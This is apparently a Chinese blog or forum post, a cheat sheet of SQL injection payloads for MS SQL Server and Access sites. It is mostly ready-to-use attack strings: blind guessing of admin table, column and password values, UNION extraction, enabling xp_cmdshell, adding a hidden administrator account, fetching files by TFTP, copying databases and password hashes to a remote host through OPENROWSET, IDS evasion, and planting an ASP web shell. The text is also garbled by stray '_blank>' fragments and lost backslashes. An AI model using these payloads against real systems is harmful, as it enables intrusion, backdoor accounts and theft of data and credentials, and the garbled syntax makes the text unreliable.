现在越来越多的人依赖工具，忽略了其本质的东西。 不废话了，都是些基础的东西。
第一，判断有无注入点
‘; and 1=1 and 1=2
第二，猜表: 常见的表有:admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
第三，.猜帐号数目 如果遇到0< 返回正确页面1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
第四，.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
第五，猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
第六猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) –
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1= 1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank> _name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–
看xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–
xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: inetpubwwwrootxplog70.dll–
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add–
创建一个虚拟目录E盘：
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：inetpubwwwrootmkwebdir.vbs -w “默认Web站点”-v “e”,”e：”–
访问属性：（配合写入一个webshell）
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧：:%5c= 或者把/和 修改%5提交
and 0< >(select top 1 paths from newtable)–
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交dbid = 7,8,9…. 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEMCurrentControlSet ServicesW3SVCParametersVirtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程：
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造：
Select * FROM news Where id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), char(0×63)+char (0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上and name< >刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns
复制_blank>数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1= (Select IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2：and 1=(Select IS_blank>_SRVROLEMEMBER (serveradmin));–
语句3：and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4：and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5：and 1=(Select IS_blank>_SRVROLEMEMBER (securityadmin));–
语句6：and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7：and 1= (Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8：and 1=(Select IS_blank>_SRVROLEMEMBER (bulkadmin));–
语句9：and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–
把路径写到表中去：
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:–
and 0<>(select top 1 paths from dirs)–
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:web–
and 0<>(select top 1 paths from dirs1)–
把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:
只要我们建表与存储进程返回的字段相定义相等就能够执行！
这个不错，正需要 😛